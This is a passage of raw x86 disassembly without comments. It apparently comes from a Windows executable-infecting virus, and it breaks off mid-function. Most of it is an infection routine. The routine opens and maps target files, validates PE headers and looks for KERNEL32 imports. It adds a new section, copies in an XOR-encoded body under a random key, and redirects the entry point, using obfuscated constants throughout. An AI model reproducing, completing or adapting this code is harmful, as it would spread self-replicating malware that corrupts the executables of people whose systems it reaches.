loc_43B532: ; CODE XREF: sub_43B4E9+27j
; sub_43B4E9+42j
pop edi
pop ebp
retn 24h
sub_43B4E9 endp
; =============== S U B R O U T I N E =======================================
sub_43B537 proc near ; DATA XREF: .data:005512FCo
mov eax, 80004001h
retn 10h
sub_43B537 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B53F proc near ; DATA XREF: .data:005512CCo
push ebp
mov ebp, esp
push offset dword_54FF3C
call ds:dword_48B9F8
mov eax, ds:dword_54FF3C
pop ebp
retn 4
sub_43B53F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B556 proc near ; DATA XREF: .data:off_5512C8o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_8]
push offset dword_552A98
push esi
call ds:dword_50E93C
or eax, eax
jz short loc_43B582
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43B5D1
; ---------------------------------------------------------------------------
loc_43B582: ; CODE XREF: sub_43B556+1Aj
push offset dword_552A18
push esi
call ds:dword_50E93C
or eax, eax
jz short loc_43B5A2
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43B5D1
; ---------------------------------------------------------------------------
loc_43B5A2: ; CODE XREF: sub_43B556+3Aj
push offset dword_5529E8
push esi
call ds:dword_50E93C
or eax, eax
jz short loc_43B5C2
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43B5D1
; ---------------------------------------------------------------------------
loc_43B5C2: ; CODE XREF: sub_43B556+5Aj
mov eax, dword_5511B4
sub eax, 4
mov [edi], eax
mov eax, 80004002h
loc_43B5D1: ; CODE XREF: sub_43B556+2Aj
; sub_43B556+4Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_43B556 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B5D8 proc near ; CODE XREF: sub_43CBE6+1F8p
var_32008 = dword ptr -32008h
var_32004 = dword ptr -32004h
var_31FFF = byte ptr -31FFFh
var_31FFD = byte ptr -31FFDh
var_31F34 = dword ptr -31F34h
var_31F30 = dword ptr -31F30h
var_31F2C = dword ptr -31F2Ch
var_31F28 = dword ptr -31F28h
var_31F24 = dword ptr -31F24h
var_31F20 = dword ptr -31F20h
var_31F1C = dword ptr -31F1Ch
var_31F18 = dword ptr -31F18h
var_31F14 = dword ptr -31F14h
var_31F10 = dword ptr -31F10h
var_31F0C = dword ptr -31F0Ch
var_31F08 = dword ptr -31F08h
var_31F04 = dword ptr -31F04h
var_31F00 = dword ptr -31F00h
var_31EFC = dword ptr -31EFCh
var_31EF8 = dword ptr -31EF8h
var_31EF4 = dword ptr -31EF4h
var_31EF0 = dword ptr -31EF0h
var_31EEC = dword ptr -31EECh
var_31EE8 = dword ptr -31EE8h
var_31EE4 = dword ptr -31EE4h
var_31EE0 = dword ptr -31EE0h
var_31EDC = dword ptr -31EDCh
var_31ED8 = byte ptr -31ED8h
var_31ECB = byte ptr -31ECBh
var_1198 = dword ptr -1198h
var_1194 = dword ptr -1194h
var_1190 = dword ptr -1190h
var_118C = dword ptr -118Ch
var_1188 = dword ptr -1188h
var_1184 = dword ptr -1184h
var_117F = byte ptr -117Fh
var_1080 = dword ptr -1080h
var_107C = dword ptr -107Ch
var_1078 = dword ptr -1078h
var_1074 = dword ptr -1074h
var_1070 = dword ptr -1070h
var_106C = dword ptr -106Ch
var_1068 = dword ptr -1068h
var_1064 = dword ptr -1064h
var_1060 = dword ptr -1060h
var_105C = dword ptr -105Ch
var_1058 = dword ptr -1058h
var_1054 = dword ptr -1054h
var_1050 = dword ptr -1050h
var_C54 = dword ptr -0C54h
var_C50 = dword ptr -0C50h
var_C4C = dword ptr -0C4Ch
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_434 = dword ptr -434h
var_430 = dword ptr -430h
var_42C = dword ptr -42Ch
var_428 = dword ptr -428h
var_424 = dword ptr -424h
var_420 = dword ptr -420h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 32008h
call sub_4475B4
push ebx
push esi
push edi
mov eax, dword_551160
sub eax, 7
mov [ebp+var_31EE4], eax
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_31ECB]
push eax
call ds:dword_4CD814
add esp, 0Ch
loc_43B60C: ; CODE XREF: sub_43B5D8+99j
mov eax, dword_551124
sub eax, 2
push eax
movsx eax, word_551128
sub eax, 5
push eax
push 3
mov eax, dword_5510C8
dec eax
push eax
mov eax, dword_551248
movsx edx, word_5511A8
add eax, edx
sub eax, 4
push eax
push 0C0000001h
push [ebp+arg_0]
call ds:dword_54FB18
mov [ebp+var_1074], eax
cmp eax, 0FFFFFFFFh
jnz short loc_43B67A
inc [ebp+var_31EE4]
mov eax, dword_55110C
dec eax
cmp [ebp+var_31EE4], eax
jnz short loc_43B673
push [ebp+arg_0]
call sub_43FA48
pop ecx
jmp short loc_43B60C
; ---------------------------------------------------------------------------
loc_43B673: ; CODE XREF: sub_43B5D8+8Ej
xor eax, eax
jmp loc_43CAF2
; ---------------------------------------------------------------------------
loc_43B67A: ; CODE XREF: sub_43B5D8+7Aj
mov eax, dword_551174
add eax, dword_5510D4
sub eax, 0Ch
push eax
push [ebp+var_1074]
call ds:dword_4CE910
mov [ebp+var_10], eax
mov edx, [ebp+arg_8]
lea eax, [eax+edx+1FFFFh]
push eax
push 0
call ds:dword_48B9EC
mov [ebp+var_4], eax
movsx eax, word_551128
sub eax, 5
push eax
lea eax, [ebp+var_31EE0]
push eax
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_1074]
call ds:dword_448034
mov eax, [ebp+var_4]
mov eax, [eax+3Ch]
mov [ebp+var_840], eax
mov eax, [ebp+var_31EE0]
sub eax, 0F8h
cmp [ebp+var_840], eax
ja loc_43CADB
mov eax, [ebp+var_840]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jnz loc_43CADB
mov eax, [ebp+var_8]
movzx eax, word ptr [eax+5Ch]
mov edx, dword_5510DC
add edx, dword_5510D8
sub edx, 9
cmp eax, edx
jz loc_43CADB
and [ebp+var_1184], 0
mov eax, [ebp+var_8]
movzx edx, word ptr [eax+44h]
mov ecx, dword_551188
add ecx, 8
cmp edx, ecx
jnz short loc_43B784
mov edx, dword_551204
add edx, dword_551160
dec edx
mov [eax+1Ah], dl
cmp dl, 0
jz short loc_43B784
movzx eax, word ptr [eax+46h]
mov [ebp+var_31EF4], eax
movsx eax, word_5510D0
cmp [ebp+var_31EF4], eax
jnb loc_43CADB
mov [ebp+var_1184], 1
loc_43B784: ; CODE XREF: sub_43B5D8+16Ej
; sub_43B5D8+183j
cmp [ebp+var_1184], 0
jz short loc_43B7DC
mov eax, dword_551170
movsx edx, word_551094
add eax, edx
cmp [ebp+var_31EF4], eax
jnb short loc_43B7BC
mov eax, [ebp+var_8]
add eax, 6
movzx edx, word ptr [eax]
mov ecx, dword_55110C
add ecx, 2
sub edx, ecx
mov [eax], dx
jmp short loc_43B7DC
; ---------------------------------------------------------------------------
loc_43B7BC: ; CODE XREF: sub_43B5D8+1C9j
mov eax, [ebp+var_8]
add eax, 6
movzx edx, word ptr [eax]
mov ecx, dword_551230
movsx edi, word_5510D0
add ecx, edi
sub ecx, 4
sub edx, ecx
mov [eax], dx
loc_43B7DC: ; CODE XREF: sub_43B5D8+1B3j
; sub_43B5D8+1E2j
mov eax, [ebp+var_8]
mov eax, [eax+80h]
mov [ebp+var_430], eax
mov eax, [ebp+var_840]
mov [ebp+var_106C], eax
add [ebp+var_106C], 0F8h
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31EF8], eax
add [ebp+var_106C], eax
mov eax, 28h
mov ecx, dword_5511C0
add ecx, 2
mul ecx
mov [ebp+var_31EFC], eax
add [ebp+var_106C], eax
mov eax, [ebp+var_8]
mov ecx, [eax+0D4h]
add [ebp+var_106C], ecx
mov eax, [eax+54h]
cmp [ebp+var_106C], eax
ja loc_43CADB
mov eax, dword_5511B4
sub eax, 4
mov [ebp+var_C54], eax
mov eax, dword_55116C
sub eax, 5
mov [ebp+var_1C], eax
mov eax, dword_5511F4
sub eax, 9
mov [ebp+var_105C], eax
mov eax, dword_5510F0
sub eax, 3
mov [ebp+var_434], eax
jmp loc_43B951
; ---------------------------------------------------------------------------
loc_43B88F: ; CODE XREF: sub_43B5D8+386j
mov eax, 28h
mul [ebp+var_434]
mov [ebp+var_31F08], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F08]
mov esi, edx
add esi, eax
mov eax, [esi+0Ch]
add eax, [esi+8]
mov [ebp+var_31F00], eax
mov eax, [esi+14h]
add eax, [esi+10h]
mov [ebp+var_31F04], eax
mov eax, [ebp+var_1C]
cmp [ebp+var_31F00], eax
jbe short loc_43B8E6
mov eax, [ebp+var_31F00]
mov [ebp+var_1C], eax
loc_43B8E6: ; CODE XREF: sub_43B5D8+303j
mov eax, [ebp+var_C54]
cmp [ebp+var_31F04], eax
jbe short loc_43B900
mov eax, [ebp+var_31F04]
mov [ebp+var_C54], eax
loc_43B900: ; CODE XREF: sub_43B5D8+31Aj
mov eax, [ebp+var_8]
mov eax, [eax+0A8h]
cmp eax, [esi+0Ch]
jb short loc_43B92B
cmp eax, [ebp+var_31F00]
jnb short loc_43B92B
mov eax, [esi+14h]
mov edx, [ebp+var_8]
add eax, [edx+0A8h]
sub eax, [esi+0Ch]
mov [ebp+var_105C], eax
loc_43B92B: ; CODE XREF: sub_43B5D8+334j
; sub_43B5D8+33Cj
mov eax, [ebp+var_430]
mov edx, [esi+0Ch]
cmp eax, edx
jb short loc_43B94B
add edx, [esi+8]
cmp eax, edx
jnb short loc_43B94B
sub eax, [esi+0Ch]
add eax, [esi+14h]
mov [ebp+var_844], eax
loc_43B94B: ; CODE XREF: sub_43B5D8+35Ej
; sub_43B5D8+365j
inc [ebp+var_434]
loc_43B951: ; CODE XREF: sub_43B5D8+2B2j
mov eax, [ebp+var_8]
movzx eax, word ptr [eax+6]
cmp [ebp+var_434], eax
jb loc_43B88F
mov eax, dword_551090
add eax, 0FFCh
push eax
push [ebp+var_1C]
call sub_441CD8
add esp, 8
mov [ebp+var_1C], eax
cmp [ebp+var_1184], 0
jz short loc_43B98F
mov eax, [ebp+var_C54]
mov [ebp+var_10], eax
loc_43B98F: ; CODE XREF: sub_43B5D8+3ACj
mov eax, [ebp+var_C54]
cmp [ebp+var_10], eax
jz short loc_43B9B1
mov eax, [ebp+var_8]
movsx edx, word_551198
dec edx
cmp [eax+0A8h], edx
jz loc_43CADB
loc_43B9B1: ; CODE XREF: sub_43B5D8+3C0j
mov eax, dword_55124C
sub eax, 9
cmp [ebp+var_105C], eax
jz loc_43BA90
mov eax, dword_5511AC
add eax, dword_5511DC
sub eax, 2
mov [ebp+var_31F08], eax
mov eax, dword_551160
sub eax, 7
mov [ebp+var_31F00], eax
jmp short loc_43BA37
; ---------------------------------------------------------------------------
loc_43B9E9: ; CODE XREF: sub_43B5D8+485j
mov eax, [ebp+var_105C]
mov [ebp+var_31F0C], eax
mov eax, 1Ch
mul [ebp+var_31F00]
mov [ebp+var_31F10], eax
mov eax, [ebp+var_31F0C]
mov edx, [ebp+var_31F10]
add eax, edx
add eax, [ebp+var_4]
mov [ebp+var_31F04], eax
mov edx, [ebp+var_31F08]
cmp [eax+18h], edx
jbe short loc_43BA31
mov eax, [eax+18h]
mov [ebp+var_31F08], eax
loc_43BA31: ; CODE XREF: sub_43B5D8+44Ej
inc [ebp+var_31F00]
loc_43BA37: ; CODE XREF: sub_43B5D8+40Fj
mov edi, [ebp+var_8]
mov eax, [edi+0ACh]
mov ecx, 1Ch
shr eax, 2
mov edx, 24924925h
mul edx
mov [ebp+var_31F0C], edx
mov edi, edx
cmp [ebp+var_31F00], edi
jb short loc_43B9E9
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_31F08]
call sub_441CD8
add esp, 8
mov [ebp+var_31F08], eax
mov eax, [ebp+var_C54]
cmp eax, [ebp+var_10]
jz short loc_43BA90
cmp [ebp+var_31F08], eax
jnz loc_43CADB
loc_43BA90: ; CODE XREF: sub_43B5D8+3E7j
; sub_43B5D8+4AAj
and [ebp+var_1078], 0
mov eax, dword_551134
add eax, dword_5510D4
sub eax, 7
mov [ebp+var_438], eax
jmp loc_43BBE1
; ---------------------------------------------------------------------------
loc_43BAB0: ; CODE XREF: sub_43B5D8+618j
mov eax, [ebp+var_844]
add eax, [ebp+var_438]
add eax, [ebp+var_4]
mov [ebp+var_32004], eax
mov edx, dword_55112C
add edx, dword_551168
sub edx, 0Ah
cmp [eax], edx
jz loc_43BBF6
mov eax, [ebp+var_32004]
mov eax, [eax+0Ch]
sub eax, [ebp+var_430]
add eax, [ebp+var_844]
mov [ebp+var_32008], eax
add eax, [ebp+var_4]
push eax
lea eax, [ebp+var_31FFF]
push eax
call ds:dword_44B1A4
add esp, 8
mov eax, dword_551140
dec eax
mov [ebp+var_31F00], eax
jmp short loc_43BB44
; ---------------------------------------------------------------------------
loc_43BB19: ; CODE XREF: sub_43B5D8+58Ej
mov eax, [ebp+var_31F00]
mov al, [ebp+eax+var_31FFF]
cmp al, 61h
jle short loc_43BB3E
cmp al, 7Ah
jge short loc_43BB3E
mov eax, [ebp+var_31F00]
lea eax, [ebp+eax+var_31FFF]
sub byte ptr [eax], 20h
loc_43BB3E: ; CODE XREF: sub_43B5D8+550j
; sub_43B5D8+554j
inc [ebp+var_31F00]
loc_43BB44: ; CODE XREF: sub_43B5D8+53Fj
mov eax, [ebp+var_31F00]
movsx eax, [ebp+eax+var_31FFF]
mov edx, dword_5510BC
movsx ecx, word_5510FC
add edx, ecx
sub edx, 2
cmp eax, edx
jnz short loc_43BB19
movsx eax, word_551190
cmp byte ptr [ebp+eax+var_32008+2], 45h
jnz short loc_43BBDA
mov edx, dword_551228
cmp byte ptr [ebp+edx+var_32008+3], 52h
jnz short loc_43BBDA
movsx edx, word_5511A4
cmp byte ptr [ebp+edx+var_32008+3], 4Bh
jnz short loc_43BBDA
mov edx, dword_551184
cmp [ebp+edx+var_31FFD], 33h
jnz short loc_43BBDA
mov edx, dword_5511D8
add edx, dword_551200
cmp byte ptr [ebp+edx+var_32004+1], 4Ch
jnz short loc_43BBDA
add eax, dword_551168
cmp byte ptr [ebp+eax+var_32004+2], 32h
jnz short loc_43BBDA
mov [ebp+var_1078], 1
loc_43BBDA: ; CODE XREF: sub_43B5D8+59Fj
; sub_43B5D8+5AFj ...
add [ebp+var_438], 14h
loc_43BBE1: ; CODE XREF: sub_43B5D8+4D3j
mov eax, [ebp+var_8]
mov eax, [eax+84h]
cmp [ebp+var_438], eax
jb loc_43BAB0
loc_43BBF6: ; CODE XREF: sub_43B5D8+4FEj
cmp [ebp+var_1078], 0
jz loc_43CADB
mov eax, [ebp+var_8]
add eax, 16h
or word ptr [eax], 1
lea eax, [ebp+var_31ECB]
mov [ebp+var_42C], eax
mov eax, [eax+3Ch]
mov [ebp+var_848], eax
add eax, [ebp+var_42C]
mov [ebp+var_84C], eax
cmp [ebp+var_1184], 0
jnz loc_43BD4B
mov eax, [ebp+var_8]
mov edx, dword_5511C8
sub edx, 8
cmp [eax+0D0h], edx
jz loc_43BD4B
movsx edx, word_5510F8
add edx, dword_551098
sub edx, 0Eh
cmp [eax+0D4h], edx
jz loc_43BD4B
mov edx, [ebp+var_106C]
cmp [eax+54h], edx
jbe loc_43BD4B
mov eax, [ebp+var_840]
add eax, 0F8h
mov [ebp+var_31F08], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F0C], eax
mov eax, [ebp+var_31F08]
mov edx, [ebp+var_31F0C]
add eax, edx
mov [ebp+var_31F00], eax
mov [ebp+var_31F10], eax
mov eax, 28h
mov ecx, dword_5511AC
add ecx, dword_5510F0
sub ecx, 2
mul ecx
mov [ebp+var_31F14], eax
mov eax, [ebp+var_31F10]
mov edx, [ebp+var_31F14]
add eax, edx
mov [ebp+var_31F04], eax
mov eax, [ebp+var_8]
push dword ptr [eax+0D4h]
mov eax, [ebp+var_4]
mov edx, [ebp+var_31F00]
add edx, eax
push edx
mov edx, [ebp+var_31F04]
add edx, eax
push edx
call ds:dword_4CD814
add esp, 0Ch
mov eax, [ebp+var_8]
add eax, 0D0h
mov [ebp+var_31F18], eax
mov eax, 28h
mov ecx, dword_5511C0
add ecx, dword_5510C0
mul ecx
mov [ebp+var_31F1C], eax
mov eax, [ebp+var_31F18]
mov edx, eax
mov ecx, [ebp+var_31F1C]
add [edx], ecx
loc_43BD4B: ; CODE XREF: sub_43B5D8+65Dj
; sub_43B5D8+675j ...
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_10]
call sub_441CD8
mov [ebp+var_10], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F00], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F00]
mov esi, edx
add esi, eax
mov eax, dword_5511DC
add eax, 0Ch
push eax
mov eax, dword_5510E4
sub eax, 5
push eax
mov eax, esi
add eax, 18h
push eax
call ds:dword_4CD934
movsx eax, word_551210
add eax, 1FFFBh
mov [esi+8], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
mov eax, [ebp+arg_8]
add eax, 0Dh
push eax
call sub_441CD8
mov [esi+10h], eax
mov eax, [ebp+var_10]
mov [ebp+var_850], eax
mov eax, [ebp+var_1C]
mov [ebp+var_1060], eax
push offset byte_552825
call sub_43CAF7
push eax
push esi
call ds:dword_44B1A4
mov eax, [ebp+var_1C]
mov [esi+0Ch], eax
mov eax, dword_55114C
add eax, 0E000001Eh
mov [esi+24h], eax
mov eax, [ebp+var_10]
mov [esi+14h], eax
mov eax, dword_5510EC
add eax, 1FFFFh
add [ebp+var_1C], eax
mov eax, [ebp+var_8]
mov edx, [esi+0Ch]
add edx, [esi+8]
mov [eax+50h], edx
call ds:dword_550040
movsx edi, word_551128
movsx edx, word_551138
add edi, edx
sub edi, 7
mov ecx, 0FDh
cdq
idiv ecx
add edi, edx
mov [ebp+var_1064], edi
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
mov eax, [ebp+var_10]
add eax, [esi+10h]
push eax
call sub_441CD8
add esp, 30h
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
add eax, 6
inc word ptr [eax]
call ds:dword_550040
mov edi, [ebp+var_848]
mov edx, [ebp+var_42C]
mov [ebp+var_31F08], edx
mov [ebp+var_31F04], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F08]
mov [ecx+edi], dl
call ds:dword_550040
mov edx, dword_551200
movsx ecx, word_551104
add edx, ecx
sub edx, 4
add edi, edx
mov edx, [ebp+var_42C]
mov [ebp+var_31F10], edx
mov [ebp+var_31F0C], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F10]
mov [ecx+edi], dl
mov edi, dword_5511C0
add edi, dword_551174
sub edi, 7
mov edx, [ebp+var_42C]
mov ecx, [ebp+arg_8]
shr ecx, 9
mov [edx+edi], cl
movsx eax, word_5510C4
add eax, dword_55118C
sub eax, 7
mov ecx, [ebp+var_1064]
xor ecx, 4Dh
mov [edx+eax], cl
mov eax, dword_5511F8
add eax, 3Dh
add eax, dword_5510BC
mov [ebp+var_43C], eax
jmp short loc_43BF5D
; ---------------------------------------------------------------------------
loc_43BF28: ; CODE XREF: sub_43B5D8+991j
call ds:dword_550040
mov edi, [ebp+var_43C]
mov edx, [ebp+var_42C]
mov [ebp+var_31F18], edx
mov [ebp+var_31F14], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F18]
mov [ecx+edi], dl
inc [ebp+var_43C]
loc_43BF5D: ; CODE XREF: sub_43B5D8+94Ej
mov eax, [ebp+var_848]
cmp [ebp+var_43C], eax
jb short loc_43BF28
cmp [ebp+var_1184], 0
jz short loc_43BFEE
mov eax, [ebp+var_850]
movsx edx, word_5510D0
add edx, dword_5510C0
add eax, edx
mov edx, [ebp+var_4]
mov eax, [edx+eax]
mov [ebp+var_31F1C], eax
mov eax, [ebp+var_8]
mov edx, [eax+34h]
add edx, [eax+28h]
mov eax, dword_551130
add eax, 6
add edx, eax
mov [ebp+var_31F20], edx
mov eax, [ebp+var_31F1C]
mov edx, dword_551090
add edx, 0FFFFFFF6h
movsx ecx, word_551210
add edx, ecx
sub eax, edx
add eax, [ebp+var_31F20]
mov edx, dword_5511AC
add edx, 2
add eax, edx
mov [ebp+var_31F24], eax
mov eax, [ebp+var_8]
mov edx, [ebp+var_31F24]
sub edx, [eax+34h]
mov [eax+28h], edx
loc_43BFEE: ; CODE XREF: sub_43B5D8+99Aj
push 0Dh
push offset dword_551290
lea eax, [ebp+var_31ED8]
push eax
call ds:dword_4CD814
mov eax, [esi+10h]
add eax, 0Dh
push eax
lea eax, [ebp+var_31ED8]
push eax
mov eax, [esi+14h]
add eax, [ebp+var_4]
push eax
call ds:dword_4CD814
add esp, 18h
mov eax, [esi+14h]
add eax, 0Dh
mov [ebp+var_1068], eax
movsx edx, word_5510C4
sub edx, 4
add eax, edx
mov [ebp+var_424], eax
jmp short loc_43C05A
; ---------------------------------------------------------------------------
loc_43C040: ; CODE XREF: sub_43B5D8+A91j
mov eax, [ebp+var_424]
add eax, [ebp+var_4]
movzx edx, byte ptr [eax]
xor edx, [ebp+var_1064]
mov [eax], dl
inc [ebp+var_424]
loc_43C05A: ; CODE XREF: sub_43B5D8+A66j
mov eax, [ebp+var_1068]
add eax, [ebp+arg_8]
cmp [ebp+var_424], eax
jb short loc_43C040
mov eax, dword_5510B8
sub eax, 4
mov [ebp+var_18], eax
mov eax, dword_5511F4
mov edx, eax
add edx, eax
mov eax, edx
sub eax, 12h
mov [ebp+var_440], eax
jmp loc_43C377
; ---------------------------------------------------------------------------
loc_43C08F: ; CODE XREF: sub_43B5D8+DAFj
mov eax, 28h
mul [ebp+var_440]
mov [ebp+var_31F20], eax
mov eax, [ebp+var_848]
mov edx, [ebp+var_42C]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F20]
mov ebx, edx
add ebx, eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F24], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F24]
mov esi, edx
add esi, eax
movsx eax, word_5510CC
cmp byte ptr [ebx+eax], 72h
jnz short loc_43C12B
mov eax, dword_5511AC
movsx edx, word_55113C
add eax, edx
sub eax, 0Bh
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_43C12B
movsx eax, word_551208
cmp byte ptr [eax+ebx+4], 63h
jnz short loc_43C12B
mov eax, [ebx+14h]
mov [ebp+var_107C], eax
jmp loc_43C371
; ---------------------------------------------------------------------------
loc_43C12B: ; CODE XREF: sub_43B5D8+B1Ej
; sub_43B5D8+B35j ...
movsx eax, word_5510F8
sub eax, 5
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_43C174
movsx eax, word_551244
add eax, dword_551168
sub eax, 8
cmp byte ptr [ebx+eax], 65h
jnz short loc_43C174
mov eax, dword_5511E4
inc eax
cmp byte ptr [ebx+eax], 61h
jnz short loc_43C174
mov eax, [ebx+0Ch]
mov [ebp+var_1188], eax
mov eax, [ebx+14h]
mov [ebp+var_1080], eax
jmp loc_43C371
; ---------------------------------------------------------------------------
loc_43C174: ; CODE XREF: sub_43B5D8+B61j
; sub_43B5D8+B77j ...
movsx eax, word_551164
cmp byte ptr [ebx+eax], 69h
jnz short loc_43C1B2
mov eax, dword_5511AC
movsx edx, word_55113C
add eax, edx
sub eax, 0Bh
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_43C1B2
movsx eax, word_551210
add eax, dword_551188
sub eax, 5
cmp byte ptr [ebx+eax], 61h
jz loc_43C371
loc_43C1B2: ; CODE XREF: sub_43B5D8+BA7j
; sub_43B5D8+BBEj
mov eax, dword_5511B4
sub eax, 4
cmp byte ptr [ebx+eax], 2Eh
jnz loc_43C248
mov eax, dword_551120
add eax, dword_5510F0
sub eax, 0Ah
cmp byte ptr [ebx+eax], 62h
jnz short loc_43C248
mov eax, dword_5511E4
add eax, dword_55123C
dec eax
cmp byte ptr [ebx+eax], 73h
jnz short loc_43C248
add esi, 0FFFFFFD8h
mov eax, dword_5511E0
add eax, 0E0000018h
add eax, dword_5510B8
mov [esi+24h], eax
movsx eax, word_5510B4
add eax, 0FFBh
push eax
push dword ptr [esi+8]
call sub_441CD8
mov edi, eax
add edi, [ebx+8]
mov [esi+8], edi
mov eax, dword_5510A0
add eax, 0FFBh
add eax, dword_551134
push eax
mov eax, [ebp+var_1C]
add eax, [ebx+8]
push eax
call sub_441CD8
add esp, 10h
mov [ebp+var_1C], eax
add esi, 28h
jmp loc_43C371
; ---------------------------------------------------------------------------
loc_43C248: ; CODE XREF: sub_43B5D8+BE6j
; sub_43B5D8+BFEj ...
mov eax, [ebp+var_10]
mov [esi+14h], eax
mov eax, [ebx+8]
mov [esi+8], eax
mov eax, [ebp+var_1C]
mov [esi+0Ch], eax
mov eax, [ebx+24h]
mov [esi+24h], eax
push ebx
push esi
call ds:dword_44B1A4
mov eax, [ebx+10h]
mov [esi+10h], eax
movsx eax, word_5510D0
movsx edx, word_5510CC
lea eax, [eax+edx+5]
push eax
mov eax, dword_5510F0
sub eax, 3
push eax
mov eax, esi
add eax, 18h
push eax
call ds:dword_4CD934
mov edi, [ebp+var_18]
mov edx, [ebx+0Ch]
mov [ebp+edi*4+var_420], edx
mov edx, [ebx+8]
mov [ebp+edi*4+var_83C], edx
mov edx, [esi+0Ch]
mov [ebp+edi*4+var_C4C], edx
mov edx, [esi+14h]
mov [ebp+edi*4+var_1050], edx
inc [ebp+var_18]
mov eax, [ebx+10h]
add [ebp+var_10], eax
mov eax, [ebp+var_10]
mov [ebp+var_31F1C], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_10]
call sub_441CD8
add esp, 1Ch
mov [ebp+var_10], eax
mov eax, dword_5511AC
dec eax
cmp byte ptr [ebx+eax], 64h
jnz short loc_43C313
mov eax, [ebp+var_31F1C]
cmp [ebp+var_10], eax
jbe short loc_43C313
mov ecx, [ebp+var_10]
sub ecx, eax
mov [ebp+var_31F28], ecx
mov eax, ecx
add [esi+8], eax
mov eax, ecx
add [esi+10h], eax
loc_43C313: ; CODE XREF: sub_43B5D8+D19j
; sub_43B5D8+D24j
movsx eax, word_5510FC
add eax, 0FFEh
push eax
mov eax, [esi+0Ch]
add eax, [ebx+8]
push eax
call sub_441CD8
mov edi, [ebp+var_8]
mov [edi+50h], eax
mov eax, dword_551214
add eax, 0FFDh
push eax
mov eax, [ebp+var_1C]
add eax, [ebx+8]
push eax
call sub_441CD8
mov [ebp+var_1C], eax
mov eax, edi
add eax, 6
inc word ptr [eax]
push dword ptr [esi+10h]
mov eax, [ebx+14h]
add eax, [ebp+var_42C]
push eax
mov eax, [esi+14h]
add eax, [ebp+var_4]
push eax
call ds:dword_4CD814
add esp, 1Ch
loc_43C371: ; CODE XREF: sub_43B5D8+B4Ej
; sub_43B5D8+B97j ...
inc [ebp+var_440]
loc_43C377: ; CODE XREF: sub_43B5D8+AB2j
mov eax, [ebp+var_84C]
movzx eax, word ptr [eax+6]
cmp [ebp+var_440], eax
jb loc_43C08F
mov eax, [ebp+var_107C]
add eax, [ebp+var_42C]
mov [ebp+var_14], eax
loc_43C39C: ; CODE XREF: sub_43B5D8+FECj
mov eax, dword_5511DC
movsx edx, word_5511A8
add eax, edx
mov [ebp+var_20], eax
jmp short loc_43C40B
; ---------------------------------------------------------------------------
loc_43C3AF: ; CODE XREF: sub_43B5D8+E39j
mov edi, [ebp+var_20]
mov edx, [ebp+var_14]
mov edx, [edx]
cmp [ebp+edi*4+var_420], edx
jnz short loc_43C3CB
mov eax, [ebp+var_14]
mov eax, [eax]
mov [ebp+var_C50], eax
loc_43C3CB: ; CODE XREF: sub_43B5D8+DE6j
mov edi, [ebp+var_20]
shl edi, 2
mov edx, [ebp+edi+var_420]
add edx, [ebp+edi+var_83C]
mov edi, [ebp+var_14]
cmp edx, [edi]
jbe short loc_43C408
mov edi, [ebp+var_20]
mov edi, [ebp+edi*4+var_1050]
mov [ebp+var_1070], edi
mov edi, [ebp+var_20]
mov edi, [ebp+edi*4+var_C4C]
mov [ebp+var_1054], edi
jmp short loc_43C413
